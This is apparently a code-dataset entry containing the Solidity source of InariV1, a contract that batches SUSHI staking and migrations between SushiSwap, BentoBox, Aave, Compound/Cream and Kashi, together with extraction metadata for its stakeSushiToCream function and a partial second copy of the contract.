address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | stakeSushiToCream | function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
| /// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
19567,
20147
]
} | 11,796 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
